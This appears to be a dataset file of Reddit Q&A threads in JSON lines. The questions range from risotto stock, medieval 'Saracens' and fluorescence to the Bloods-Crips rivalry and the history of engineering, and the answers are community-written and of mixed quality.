{"q_id": "8f2c7y", "title": "how come you have to add stock little by little to risotto instead of putting it all in at the beginning like you would with rice?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8f2c7y/eli5_how_come_you_have_to_add_stock_little_by/", "answers": {"a_id": ["dxzygzo", "dy0371h", "dy03pwk", "dy0dbqn"], "score": [42, 5, 11, 3], "text": ["[You don't](_URL_0_). The idea is that by adding stock in small quantities, it helps the rice cook more evenly and extracts starch from the rice that gives the risotto its creamy texture. Both of those effects can be achieved in other ways, as seen in the link - cooking in a shallow pan will distribute the heat better than a pot so you don't end up with the rice at the bottom overcooking, and the starch is coming from the surface of the rice, not being extracted from within the grains.", "Adding stock little by little, only benefit is that you dont accidently get the rice cooked before excess stock has boiled away... so you can keep it creamy and not runny and it is ready as soon as the rice is perfect.. imo", "In my experience, agitation, agitation, agitation is the key. You want to get the starch off the rice and into the sauce.\n\nAdding a little stock at a time might help you beat the starch off the grains through more friction but I highly doubt it makes much of a difference, especially if you're constantly beating the risotto for fifteen to twenty minutes anyway. The only value I see is in having control over how much liquid goes into the dish over time, so you can judge and adjust to ensure the rice is cooked AND it's the consistency you want. For me there's nothing worse than soupy or overcooked risotto, so it's the method I use. I find it therapeutic as well.\n\nSuggest you make a control risotto as you normally would then make an experimental one with all stock added at once. Report back with tales of deliciousness. My secret risotto recipe has (apart from the base veggies, stock and wine) diced chicken thigh, porcini mushrooms, cacciatore sausage and rocket, finished with butter and ground pecorino cheese beaten through it once off the heat. Lots of butter. Lots of cheese. Then garnished with shaved parmesan. It's a heart attack on a plate. Just like Nonna would want you to eat.\n\n", "I was taught that the reason we do this is to ensure that we are ending up with the proper final consistency, \"all'onda,\" meaning \"like a wave.\" \n\nWith long grain rice, the end goal is for all of the liquid to evaporate. When using a short-grain rice like Arborio for risotto, the end goal is to retain some of the liquid at a specific point in the cooking process of the rice. Adding the liquid in segments gives you more control over that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.seriouseats.com/2011/10/the-food-lab-the-science-of-risotto.html"], [], [], []]}
{"q_id": "32zl6r", "title": "[meta] Can we have one day a month for asking about current events with a historical angle?", "selftext": "It seems such a shame to waste the vast knowledge and perspectives that exist in /r/AskHistorians, especially when that's part of what studying history purports to do -- to help people better understand the world we live in.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32zl6r/meta_can_we_have_one_day_a_month_for_asking_about/", "answers": {"a_id": ["cqg87nd", "cqg8qyp", "cqg94wr", "cqgdrep", "cqgdwfb", "cqghfph"], "score": [41, 99, 7, 3, 2, 2], "text": ["If this does get implemented, and they don't put the thread on Monday and call it: \n\n\"Modern Mondays\" \n\nI will have lost a bit of faith in humanity. It writes itself. ", "What sort of questions would you want answered that can't be asked now *and* would be well answered by a historian? When ISIS was rapidly expanding, we got a lot of questions on the history of Yazidis, Assyrians, Islamic destruction of art, the reasons why Islamic terrorism has exploded since the Cold War, the philosophical roots of modern Jihadism, etc. Just this week, the Pope used the phrase \"Armenian Genocide\", and we quickly had a question that basically asked \"Why does Turkey not use the phrase 'Armenian genocide'?\" \n\nWhen I was a mod, I'd often have to ask people to rephrase their questions to make it one that a historian could answer, but there were very few that couldn't be rephrased and resubmitted. From experience, the narrower, rephrased questions seemed to attract better answers (something like, \"What are the historical roots of modern Jihadist groups like ISIS\" vs. \"What does ISIS believe\"--the latter a historian probably isn't particularly well equipt to answer). \n\nOther than subjects that entirely and unambiguously break the 20-year rule (like ones *only* about September 11th, for example, or the more recent invasion of Iraq), I don't know what couldn't have here that you'd want.  Too recent questions, ones that are \"current event-y\" enough that there's been limited professional reflection on them, but widespread public emotions tend to be the ones that draw the most low quality answers, and the most loud-mouths who are sure they are right, and consequently create the biggest headaches for mods. ", "Can you give an example of what you mean?", "At worst we need a re-phrasing of the rule, at best it needs no change. As others have stated, I come here for history. History in relation to modern events is fine and can be fascinating. However, people who want to ask questions about \"modern\" topics should put in a little extra thought and effort, can their question be phrased appropriately so that a historian can answer it based off of their study and expertise?", "I think this would be a bad idea. The 20 year rule seems to work, though I can't quite figure out why (it's sort of annoying, if you have a question/answer that is right on the edge... if I want to know about something that started in 1994, too bad, the answers will be out of bounds most likely).\n\nI think part of it is, at least, it tamps down the desire for answers to become political. But also that current events are just too fresh for there to be much insight yet. There are things happening today that we won't get a clear picture of for years. Sometimes people even have to die and for their personal papers to be made public and researched. Will we know what's really going on in Crimea until Putin has croaked and the world gets access to a diary or the internal memos sent to cronies (I hear they're using typewriters just to avoid hacking).", "I don't see the point. It is not like you're not allowed to mention recent events in a question.\n\nUnless what your mean is a day where current events can be discussed. In that case, it would be a bad idea and is better suited to happen elsewhere."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "9v9033", "title": "whats behind the 'calling of the void' phenomenon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9v9033/eli5_whats_behind_the_calling_of_the_void/", "answers": {"a_id": ["e9a9hrr", "e9a9w5d", "e9abjxz", "e9abwmr", "e9ac3p5", "e9actcn", "e9ad8yl"], "score": [7, 205, 14, 4, 6, 4, 3], "text": ["So many times when I\u2019m in a car on the highway I get the urge to jump out. I\u2019m not suicidal. It just pops in my head and is gone in a second. Same when I\u2019m up very high, I see myself falling off the ledge or over the railing. So now I just avoid heights when possible. ", "It's your brain's way of reminding you to not do that thing, as it is probably lethal, and you might be dumb enough to actually try it if you weren't thinking about it. Basically, it forces you to consider what might happen if you were to do that thing, in an effort to get you to be extra cautious and not do that thing.  \n\n\nIt's a lot like those common nightmares that everyone gets. They teach you to avoid things that might actually have been fatal to some of your early ancestors. For example, falling off a cliff is probably bad. Having all your teeth fall out would probably be bad. Finding yourself in class in only your underpants, and thus becoming a social outcast, would probably be bad. Being stuck somewhere dark while something hunts you from the shadows would probably be bad.  \n\n\nEarly ancestors of yours that had these dreams probably avoided cliffs, brushed their teeth, were social, and carried flames with them at night, thus they were selected for, and so these dreams persist as lessons you can learn without needing to experience them yourself. Your brain has a sandbox of imagination to use to get you to not do things that might kill you, without putting you in any danger! Neat!", "I never knew this had a name  &  thought I was the only one. Most vivid experience was wanting to drive into a concrete barrier at high speed. The thought really scared me. ", "Holy crap! I didn\u2019t dare to ask because I thought I was going crazy. So this is common?", "In clinical contexts they are called intrusive thoughts. They are a prime symptom of Obsessive Compulsive Disorder. However, healthy people have them as well. It becomes psychiatric when the frequency is very high and when other symptoms show up.", "A mother stands on the edge of a cliff with a baby in her hands. Suddenly a thought enters her head: \"What if I just jumped off?\" The very idea scares her, and she takes a step back. The next moment a landslide, a wild animal, a sudden gust of wind etc. would have carried her and her child over the edge, but that one step backwards saved her and her offspring's life.\n\nNow imagine a woman who did not get that impulse. Her genes would have been wiped out of the gene pool, while the first woman's genes are still with us. That's why the \"*appel du vide*\" instinct is a part of our collective psyche.", "I often have visions of punching people when I'm talking to them. Not out of anger, but just randomly will think of it. It sometimes happens more often but sometimes not at all. The brain is weird. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "6ll4yr", "title": "How did \"Saracens\" become \"Arabs\"?", "selftext": "During the Middle Ages, the word Saracen was widely used in Europe to name the Arabs, but today this term is obsolete, so how did this transition happen?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ll4yr/how_did_saracens_become_arabs/", "answers": {"a_id": ["djv07mm", "djv5okw", "djw3ym4"], "score": [276, 270, 300], "text": ["Readers, please note: This is a popular question. It's popular because people find it interesting, not because it has an answer. Hopefully, it'll get an answer soon, but if it's going to get an answer at all, it is likely to get one [within the next 20 hours or so](_URL_0_). If you're here looking to answer the question, please [look through our rules](_URL_1_) and make sure that you can write something that's [in-depth](_URL_2_).\n\nUsers who comment to complain about the number of removed responses or toss off a two-sentence answer are likely to find themselves temporarily banned. If you have a follow-up question to ask, that is fine, but please make sure its relation to the original question is much firmer than \"it is also about Saracens/Arabs/the Middle Ages\".", "A follow up question: Did Medieval writers draw distinctions between Saracens/Arabs in Southwest Asia and other predominantly Muslim groups or polities, such as Moorish Spain or Arab rule in Sicily? Was Saracen used as a descriptor uniformly across these regions, or were other names used, and what different connotations did they carry? ", "So this was a tough one, which is probably why it took so long to answer. The initial impression one might get is that you could just look at an etymological dictionary, get a history of it, and call it a day, but it's not that easy. Saracen, Arab, Turk and Muslim were all words that existed in a multi-linguistic, multi-national context over many centuries, and they served a number of purposes in that time, so it's complicated, but we will start with a little etymology.\n\nSaracen comes to us from the late Latin Saraceni, which was \"a catchall term for an Arab nomad (i.e. Bedouin) who could be found ranging at large within and beyond the eastern frontiers of the empire\" (Mayerson 283). This term starts to come into use around the 4th century, and continues to be used in this way until the Muslim conquests in the 7th century. \n\nRoman origin is an interesting start to the history of the term, because it probably helps account for some of the ethnographic inaccuracy. The Romans, while they often engaged in ethnography, frequently used catch-alls to describe diverse, but similar seeming populations, and often continued to use them, long after that particular people disappeared. (For comparison, Scythian was used to describe steppe nomadic people for centuries after the original Scythians disappeared.) Thus, we should understand that Saraceni, from the beginning, was probably not a rigid \"That specific group of people\" in the way, say, the French would be today. Instead, it probably was understood more as \"That vague collection of trading/raiding nomads on the southeastern border.\" Mayerson goes on to explain that after the Muslim conquests, the word Saracen continued to be used in an unbroken way to refer to the invaders, and thus became the term for the invaders.\n\nArab is *also* a Latin term, and as far as I can tell, also the older of the pair, dating back to the early empire or before. (Essentially as soon as the Romans came into contact with the region) I can't entirely tell without more study if there was a difference between the uses of the two words, but it seems to me that Saracen carried a connotation of largely problematic outsider, while Arab could and often did refer to the foederati (Allied) groups that fought with the Romans. This use continued in basically this way up into and past the Muslim Conquests.\n\nThose conquests posed a real philosophical problem for Western Christendom.  For Christian Europe, God was the fundamental force behind events and History, and this massive wave of conquests by non-Christians posed a real threat to the idea that Christians were guided and protected by God as his favored people. It should be noted that up to this point, Christianity's position in the world had been almost exclusively expansionary. Never before had such a huge swath of land been removed from Christian control, and this shook Christian scholars the world over. How could it be, if Christians were God's chosen, that the Muslim world could be so much more powerful than the Christian one? \n\nThe threat of the Invasions wasn\u2019t just the loss of physical territory, after all, many of the core areas of Christian Europe were never threatened by Muslim invasion. Northern Italy, most of France, England, what is today Germany and Eastern Europe west of the Byzantines were all safe from Muslim Conquest. The threat was the loss of the Metaphysical high ground, the certainty that Christianity was God\u2019s chosen faith. From the beginning, Muslims wrote polemics against Christians and Jews, explaining how they had corrupted the faith, and given their wild success on the battlefield, it seemed God agreed  \n\nSo this is another place when the words are being used in a way that\u2019s unfamiliar to a modern ear. When a Christian from this period talks about the \u201cSaracen\u201d as a threat or an evil, they\u2019re not exactly talking about the real, physical people who are invading, but the *idea* of a new rival for metaphysical dominance. This sort of disconnect can be seen in the Crusades as well: if Christians were really concerned with pushing back the physical Muslim threat, why not fight on the frontlines of Anatolia, to reclaim Byzantine territory? It would have been vastly easier than an invasion of the Holy Land. The thing was, reclaiming Jerusalem did far more good in this Metaphysical battle than a reconquest of old Byzantine territories. Taking back the holy city could be seen as a sign that God was still with Christendom!\n\nSo to jump back in time, as soon as it became clear that the invaders were here to stay, Christians settled into shooting polemics right back at their new rivals, but one of the really notable things is that you don\u2019t see the word Islam or Muslim in *any* of these texts. Indeed, the dictionary of Middle English claims that \u201cSaracen\u201d didn\u2019t necessarily mean Muslim, (Instead just \u201cnonchristian from the east\u201d until the fourteenth century. Some scholars have contested this, but the reason there is disagreement on this point is that Christians at the time for the most part knew very little about Muslims. Christian Polemics frequently described \u201cSaracens\u201d as Pagans, worshipers of multiple gods, quoted garbled Quaranic verses and misrepresented Muslim rituals.\n\nFurther, to explain Muslim conquest while maintaining Christian supremacy, those polemics portrayed Arabs/Muslims in a number of ways that really separated them from their real context and made them characters in the Metaphysical story these writers were telling. Islamic conquest was often a punishment for Christian wickedness, a sign of the coming End Times, or a heresy made to lead orthodox (Small o) Christians astray. \n\n\u201cSaracens\u201d, therefore, become more than just \u201cthat group of people who conquered Byzantine territory.\u201d They exist in the imaginations of Medieval Christendom, and except in Byzantium and Spain, with very little actual knowledge of those people. The Saracen functions as an \u201cother,\u201d a rival for Christian Europe. Knights and heroes in Medieval Literature are regularly draw into final battles with Saracens, and usually defeat them, either killing them or converting them at swordpoint. The term is regularly use in a factually inaccurate way in literature (Even describing the pre-conversion Saxon), and fundamentally the reason is that the writers talking about didn\u2019t employ the word to describe a real world culture. Instead, as one scholar puts it \u201cWhatever they were to the ancient world, for writers in English and French the Saracens were defined by what they were not: not Latin, not English, not French, not Christian\u201d (De Weever 6).\n\nSo on the cusp of the modern period, that is where we find the state of the word. Various designators for specific non-christian/Muslim ethnic groups existed and were used, such as Arab, Moor, Persian, and later Turk, but all were interchangeable with Saracen, because they all fell into the far off \u201cother\u201d/metaphysical opponent category.\n\nWhat caused the decline of the word? Well, it died slowly, after all, we see Poe using it, as u/sunagainstgold mentioned, but fundamentally it seems to be two things. First, \u201cThe Turk\u201d seems to have replaced \u201cThe Saracen\u201d as the Metaphysical threat to Christendom in the 16th century and onward. As the Ottomans rose, revitalized the Muslim world and managed to strike deeper and deeper into Europe, it seems that people recognized them as different enough from their predecessors to create a new fear/rival image that somewhat overwrote \u201cThe Saracen.\u201d Martin Luther, for example, wrote *On War against The Turk* and seemed to view the Turks in the same apocalyptic framework many of his predecessors had viewed the early Islamic conquests.\n\nSecond, as time passed, Europe both became stronger and more closely tied via trade networks to the east. The Turks, Islam, Muslims and Arabs all became more familiar and less threatening. The Saracen had never really been an ethnographic term, it had been a polemic term and a literary device. The need for that device had now passed. The Saracen had been replaced, and by the 17th century \u201cThe Turk\u201d was a normal part of European life and no longer seemed like a threat to Europe writ large. Thus, naturally, ethnographic terms like Arab, Turk, Moor, and so on, became more predominant, though Saracen never died as a catch-all. Just from vague memory, it does seem like some of these saw a resurgence as Others in the scientific racism of the post-Enlightenment, but that\u2019s even further outside my area than this was. (And I should note, it is. I\u2019ve written this answer largely on the back of research over the past day. If any real experts on this subject or on Medieval Islam in general care to come in and correct me, I welcome the guidance.)\n\n\nSources:\n\nBly, Siobhain Montserrat. \u201cStereotypical Saracens, the Auchinleck Manuscript, and the Problems of Imagining Englishness in the Early Fourteenth Century.\u201d Ph.D. University of Notre Dame, 2002. ProQuest. Web.\n\nComfort, William Wistar. \u201cThe Literary R\u00f4le of the Saracens in the French Epic.\u201d PMLA 55.3 (1940): 628\u2013659. Print.\n\nDe Weever, Jacqueline. \u201cIntroduction: The Saracen as Narrative Knot.\u201d Arthuriana 16.4 (2006): 4\u20139. Print.\n\nFrancisco, Adam S. \u201cMartin Luther, Islam, and the Ottoman Turks.\u201d (2016): n. pag. _URL_0_. Web. 7 July 2017.\nMayerson, Philip. \u201cThe Word Saracen (\u03f9\u03b1\u03c1\u03b1\u03ba\u03b7\u03bd\u03cc\u03f2) in the Papyri.\u201d Zeitschrift f\u00fcr Papyrologie und Epigraphik 79 (1989): 283\u2013287. Print.\n\nTolan, John Victor. Saracens: Islam in the Medieval European Imagination. New York: Columbia University Press, 2002. Print.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6a5duv/a_statistical_analysis_of_10000_raskhistorians/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_answers", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_write_an_in-depth_answer"], [], ["religion.oxfordre.com"]]}
{"q_id": "3v3dd2", "title": "why does going for a drive clear your head and help calm you when you're stressed out?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3v3dd2/eli5_why_does_going_for_a_drive_clear_your_head/", "answers": {"a_id": ["cxjzr5e", "cxk4xfd"], "score": [17, 4], "text": ["My perception is it's because you're forced to focus your full attention on what's going on outside your head. Your mind gets redirected.", "One must note that this method didn't calm Matt Barnes down when he drove 95 miles solely to beat Derek Fisher's ass at his house. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aaw2h4", "title": "Why do fluorescent and phosphorescent materials emit photons of lower energy than they absorbed?", "selftext": "Intuitively, that makes sense. But if an electron absorbs a photon by being excited into a higher-energy orbital, and it emits a photon by \"falling\" down to its original orbital, should it not then emit a photon with the same amount of energy as the one absorbed?\n\nMechanistically, where in the process is the energy lost?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aaw2h4/why_do_fluorescent_and_phosphorescent_materials/", "answers": {"a_id": ["ecvge8z", "ecvhs3c", "ecvkrbm", "ecvljan", "ecvmfzj"], "score": [26, 18, 6, 9, 7], "text": ["It can happen that a photon excites an electron two or more levels and it falls back in two or more separate photons of less energy.", "In phosphorescent materials, there is an interstitial energy level between the the initial excitation and the ground state that the electron can enter from the excited state. Typically it'll remain there for a fairly long time before relaxing to ground and emitting a photon. The remainder of the exciting photon's energy was already lost in the transition to that interstitial energy level.", "There are internal vibrational states at each level. It will absorb 1.x levels, or 2.x levels, and jump to level 1 or 2 plus x in vibrational states. Then before emission, it will lose energy equal to x by dropping vibrational levels and then ultimately make the big jump back down to 0 (initial state) ", "The other answers so far are good, but I would also like to bring the [Franck-Condon principle for solvation](_URL_0_) into the discussion.  Essentially, when a photon is absorbed by a molecule in solution, it is suddenly out of equilibrium with the solvent around it, causing a redistribution of the surrounding solvent molecules and subsequent relaxation in energy.  The same principle applies when fluorescence or phosphorescence occurs, meaning that the intial state after emission will be higher in energy than the initial ground state, and will then relax to the ground state by the same redistribution process.  This leads to the effective energy difference for emission being lower than that for absorption.", "Unlike single atoms, molecules have energy from both electron level and vibration.  Often when a fluorescent molecule absorbs a photon it will excite an electron and also start vibrating.  It then loses that vibrational energy by collision with another molecule, so only the electron energy is left to emit a lower energy photon.\n\nOn a macro scale, this means that some of the incoming light energy is converted to heat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.m.wikipedia.org/wiki/Franck\u2013Condon_principle#Franck\u2013Condon_principle_in_solvation"], []]}
{"q_id": "18e0ku", "title": "why do the bloods hate the crips?", "selftext": "I've seen so many programs on both gangs, but it seems like they never explain why they hate each other. It's been on my mind for a while--thanks!\n\nEDIT: Thanks for the responses, everyone! This has always been an interesting topic to me and I really appreciate all the answers I've gotten.\n\nEDIT2: After reading some comments, I realized that I may have worded the question incorrectly. It should be read as, \"Why do the Bloods and Crips hate each other?\". A majority understood this is what I meant, but I apologize for any confusion.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18e0ku/eli5_why_do_the_bloods_hate_the_crips/", "answers": {"a_id": ["c8dxw7u", "c8dzrvh", "c8dzu5v", "c8e1ezr", "c8e2nt5", "c8e3hi1", "c8e42q6", "c8e4jci", "c8e4jh4", "c8e4rvx", "c8e5c2c", "c8e5qyb", "c8e611o", "c8e63or", "c8e6fwk", "c8e6m4w", "c8ecsxx", "c8ecvk5", "c8ed7lh", "c8ef5sy", "c8egqyw"], "score": [755, 30, 59, 131, 27, 2, 9, 7, 10, 6, 7, 48, 4, 5, 2, 58, 20, 2, 2, 5, 2], "text": ["The short and sweete is that the crips are not all one gang.  They are an alliance of gangs.  But there is a good deal of violence and war within the alliance.  One day a gang within the crips pissed everyone off.  So they were picked on relentlessly, that gang approached the LA gangs who were not in the crips alliance and formed what came to be called the bloods. \n\nThe answer is that they hate them because they have always hated them.  Like a family feud the orgins are less important then the various crimes that are commuted during the feud. ", "they're the competition, every person who buys crack/weed/stolen car/whatever off a crip is someone who isn't giving money to the bloods. Each member might have individual reasons, had friends who got killed by the other gang or whatever, but I think the main reason it keeps going is just money.", "The Bloods are Ash Ketchum and the Crips are Gary Oak. I hope that clears things up.", "[Watch this documentary](_URL_0_)\n\nReally, it's rather long but totally worth it!", "Because even without religion, humans will find completely irrational reasons to hate and kill each other.\n\nEdit:  To clarify, this is not a dig at religion.  Religion happens  to be the canonical example of people hating and killing each other irrationally (especially here at reddit) and I wanted to provide a counter-example.  I didn't mean to imply that religion is inherently irrational.", "Presumably, it's the same reason Coke hates Pepsi.  ", "Theres a documentary you should watch, \"Bloods And The Crips Made In America\". ", "If you're interested in crip/blood crip/crip beef. You should read \"Monster\" By Sanyika Shakur. AKA Kody scott. He was a gang member in LA during the 80's I believe. Very interesting read.", "ELI5: WHO THE FUCK ARE THEY (besides \"they're gangs\")", "Check out the doc 'Bastards of the Party'", "I live in the LA area. I know both Crips  &  Bloods. Nowadays, it's just about colors and drug disputes. Although, back then it was because of ignorance. ", "Imagine all of the bullys are hanging out at the jungle gym. You want to play on it with your friends but you will get beat up if you do because it is 'their space'.\n\nOne day, you and your friends get really mad and tired of being bullied round and go there together ready to rumble. The reason your group (bloods) was made is to stand up against the other bullies (crips) , you were never friends and this makes sure you won't ever be friends if you choose to play with either group.\n\n", "Because when red and blue mix, it makes purple, and purple is *gay.*", "You should check out Kurt Sutters' Outlaw Empires. [Here's the first part of the episode with The Crips in it.] (_URL_0_) It explains a lot of the reasons why they hate each other and how it started.", "Another perspective: What's the point of being in a gang if you don't have an enemy?", "Miliean pretty much nailed it but I'd like to offer another perspective. Gang life was significantly different in New York compared to LA.\n\nThe Crips presence in New York was minuscule compared to the Blood/Latin King/Ruff Ryder majority. Bloods indoctrinated their members to hate Crips and vice versa but the kicker was that there were hardly any Crips to go after. As a result the infighting began. It seemed like things calmed down after the 90's there were more fist fights and less shootings. \n\nWhen the chances of being killed for your colors diminished \"fake sets (wannabe gangs) began to spread like wild fire. After a while kids just felt like joining a gang was just a thing to do and eventually I got sucked in. I mean hey, the worst that can happen was getting my teeth kicked in right? \n\nI remember always shouting shit like \"crab killa\" and \"six star killa\" but I've never actually fought a crip, only fought other bloods. It didn't matter much what colors you flew. If your \"OG\" didn't like someone it was a beef, no matter what flag they flew.\n\n\nAs someone who grew up around this nonsense honestly, it all bullshit. The crip -blood feud is not nearly as bad as it used to be in the 90's.", "Okay guys, no, saying \"they hate them because they hate them because they HATE THEM\" is a terrible answer. For one thing, it doesn't actually answer the question.\n\nAnother poster suggested watching \"Crips and Bloods: Made in America\". This is an excellent idea, but does not answer the question and rather links to a potential answer should you be inclined to give it time (which you should - that movie kicked ass)\n\nAnyway.\n\n1950's-industrial jobs are abundant and black people have work. This is a good thing. A few black \"clubs\" exist for the sake of protecting themselves from white people.\n\n1960's: Civil rights movement and black pride movement. Contrary to a lot of belief, the civil rights movement was only barely peaceful sometimes. Groups like the Black Panther Party formed. People got angry. People got violent. Around this time there was also a big influx of black people coming in from the South; clubs and groups started to really form.\n\nThe Crips were the first gang that formed, founded by Raymond Washington and Tookie. They were in high school and said they started the gang to protect themselves from other gangs, and they grew. Partially because Washington was strong as fuck, an excellent fighter, and a natural-born leader.\n\nThey're called the Crips because Washington and Tookie originally named the gang the \"Cribs\" but it got twisted because gang members liked to carry canes, and other gangs made fum of them by calling them cripples.\n\nThe Bloods formed to protect themselves from the Crips, who were growing rapidly. The Bloods were a few smaller gangs mashed into one. In other words, they hated the Crips because the Crips were hurting them; and the Crips hated the Bloods because the Bloods were their biggest opponents.\n\n1970's: groups fragment a little to collect territory. Rivalry becomes territory-based, and much more violent as gang try to get each other's land. Red and Blue emerge to stop people from shooting their allies.\n\nThe 1980's saw both gangs flooded with crack, adding drug trafficking to the rest of their criminal activity, furthering the rivalry through pure market competition.\n\nIn other words: **gangs formed to protect themselves from the police and other gangs, then they started fighting over territory, and then they started fighting over crack-selling. The Crips came first and became powerful through strong leadership, and the Bloods formed out of enemies of the Crips.**", "Can I just say that I had this sorted by controversial still from that unpopular opinions thread on askreddit, and the amount of racism and idiocy in that section was unbelievable.  I totally thought those were like the only answers since they came up and were negative, and was confused you seemed so grateful in the edit.\n\nStay in the top comments, kids.", "Since it looks like this was already answered for those more interested check this documentary out. Has some insight of the older gang members\n_URL_0_", "I read this as \"Why Do the Bloods Hate Crisps?\"  (I'm British)\n\nThe answers were more interesting than I expected.", "Ginger ale and Marshmallow war."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=pjAuV-3CT4Q"], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=-a9ubcVBcIQ"], [], [], [], [], ["https://www.youtube.com/watch?v=FiuAIow13wY"], [], []]}
{"q_id": "3ny8kx", "title": "When did \"engineering\" become a career path? It seems like in the 1800s tech people were either scientists or \"inventors\".", "selftext": "When did engineering become it's own field of study and why?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ny8kx/when_did_engineering_become_a_career_path_it/", "answers": {"a_id": ["cvse6dy", "cvsfxkn", "cvsgsbh", "cvstl61", "cvstlt6", "cvt17qd"], "score": [505, 22, 14, 5, 17, 6], "text": ["Engineering as a profession is really, really old. If you are asking about engineering education at university level, then that is a newer thing. Speaking about engineering education in the United States, the first curricula copied the French \"polytechnique\" model of the 1800s. After all, the *Ecole Nationale de Ponts et Chaussees* was largely considered the first formal engineering school in the world, beyond the more common engineering classes. Of course, Napoleon later founded what became *Ecole Polytechnique*. \n\nIn the US, universities of the 1700s was based on religious education and liberal arts. So US engineers at that time were either self-taught or was educated abroad. This was seen as a weakness in many aspects including military, so much so that George Washington himself strongly encouraged the formation of an engineering school. This led the *US Military Academy*, aka West Point, to have a strong engineering focus, at its founding very much copying the Ecole Polytechnique curriculum. Several military and civil engineering schools followed, and these had strong focus on workshops and lab work. Some of them are Schools of engineering affiliated with a university (Harvard, Yale, Dartmouth, Michigan) but had their own (lower and less prestigious) admission. So these polytechniques and schools of engineering were either segregated from university or completely apart from any. \n\nThe Morrill Act of 1862 established the \"land-grant\" concept, strongly promoting practical education aka engineering. As a result, many land-grant engineering universities were founded, such as Purdue, Penn State, Iowa State, UIUC, MIT, et al. And further, these universities had schools of engineering well-integrated into the universities themselves. Over time, previously segregated schools of engineering also became integrated into their universities. \n\nFollowing WW1, engineering education started to take on newer ideas from Europe, namely the strengthening of scientific education to provide a basis for engineering know-how, and reduced emphasis on workshop. All this changed the nature of engineering education in the US, but the larger change was possibly WW2 and the advent of the Cold War, which led to significant government (read: defense) investment in R & D at universities. \n\n* *A Brief History of Engineering Education in the United States* by LAWRENCE P. GRAYSON, Fellow, IEEE, National Institute of Education; IEEE Transactions on Aerospace and Electronic Systems, \nYear: 1980, Volume: AES-16, Issue: 3, \nPages: 373 - 392, DOI: 10.1109/TAES.1980.308907\n", "So I have done some research into a land grant engineering college in the US (WPI), and that may provide some background into this from a mechanical engineering prospective. A lot of the early professors at WPI were actually just very skilled machinists. It seems, based on the history of the school and the professors at WPI that in the US, a large portion of \"engineering\" in the early to mid 1800's was done by people who had apprenticed as machine operators and had gone on to improve those machines. The other portion of professors at WPI at that time were people who had been educated in Europe, and were more concerned with the theory, people who insisted that students knew the physics and math of what was going on. \n\nBased on this, engineering seems to have grown from blacksmiths who started making machines and becoming machinists and machinists who eventually became engineers. While simultaneously growing out scientists who started to make machines out of the science they were doing. These types of people started learned from each others expertise, especially after the land grant universities started popping up. \n\nAll of my sources should be buried somewhere on the WPI website, and this stuff is probably tainted somewhat by the founders and early teachers of WPI being heavily invested in the idea of \"theory and practice,\" the motto of WPI.", "What exactly makes you think 1800s tech people were all scientists and inventors? A scientist is someone who uses scientific methods in order to acquire knowledge. An engineer on the other hand is someone who applies scientific knowledge in order to design/build something of use. Because of this distinction, I think someone performing engineering would have ever been called a scientist. For example, I don't think someone who designed bridges would have ever been called a \"scientist\".\n\nAn inventor is kind of its own thing - it essentially means someone who designs something which is novel. But most things that are designed/built are not novel (such as bridges and structures). So again, I doubt most people performing engineering in the 1800's were being called \"inventors\"", "Related question: My great grandfather was an \"engineer\", but at that point it meant he drove a train. Was there a direct path from that type of engineer to a modern engineer? ", "This comment is aimed at engineering as it relates to construction.\n\nThe oldest architectural text, *De Architectura*, was written by [Vitruvius](_URL_4_) who was a Roman military/civil engineer. There wasn't a distinction between master builders, architects, structural engineers, etc. until sometime in the mid to late 19th century depending on where in the world you were.\n\nA good example of someone that really personifies the combination of knowledge areas is [Brunelleschi](_URL_0_). He built the [Florence Duomo](_URL_1_) (Florence's cathedral). It is, to this day, the largest masonry dome built ever built. He devised a double shell system to give the dome structural depth while also creating a herringbone bond pattern for the brick so that it could be built without scaffolding (which would have required more wood than existed in Tuscany). He also invented special pulleys, lifts, cranes, and safety devices that were so far ahead of their time that da Vinci would later study them.\n\nIn Chicago in the late 19th century you see the [emergence of architecture firms](_URL_2_) that are often headed by a structural engineer and architect pair such as Burnham and Root or Adler and Sullivan (this is where Frank Lloyd Wright started, he also did some innovative structural work like his [Imperial Hotel](_URL_3_) in Tokyo which survived a massive earthquake right after construction completed). In modern times there are interesting combinations like Calatrava, Felix Candella, or Luigi Nervi who are both architect and structural engineer or firms that are some combination like SOM which is an architecture firm that has an integrated engineering department or Arup which is an engineering firm with a design focus.\n\n*Architectural Theory: Volume I - An Anthology from Vitruvius to 1870* by Harry Mallgrave\n\nEdit: sources and some wording.", "I'll follow this up with a slightly narrower question; did 12th century China have a formal school for siege engineers?  If so, how was it paid for?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.m.wikipedia.org/wiki/Filippo_Brunelleschi", "http://ngm.nationalgeographic.com/2014/02/il-duomo/mueller-text", "http://www.sah.org/docs/misc-resources/chicago-architects-genealogy-map.pdf?sfvrsn=2", "https://en.wikipedia.org/wiki/Imperial_Hotel,_Tokyo#Second_Imperial_Hotel_1923-1968", "https://en.wikipedia.org/wiki/Vitruvius"], []]}
